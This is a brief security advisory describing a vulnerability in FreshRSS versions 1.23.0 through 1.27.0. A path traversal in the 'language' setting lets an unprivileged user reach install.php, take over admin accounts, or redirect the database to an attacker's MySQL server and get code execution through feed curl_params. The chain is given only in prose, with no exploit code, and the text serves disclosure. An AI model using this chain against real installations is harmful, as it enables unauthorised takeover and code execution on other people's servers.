In versions 1.23.0 through 1.27.0, using a path traversal inside the `language` user configuration parameter, it's possible to call `install.php` and perform various administrative actions as an unprivileged user. These actions include logging in as the admin, creating a new admin user, or set the database to an attacker-controlled MySQL server and abuse it to execute code in FreshRSS by setting malicious feed `curl_params` inside the `feed` table.
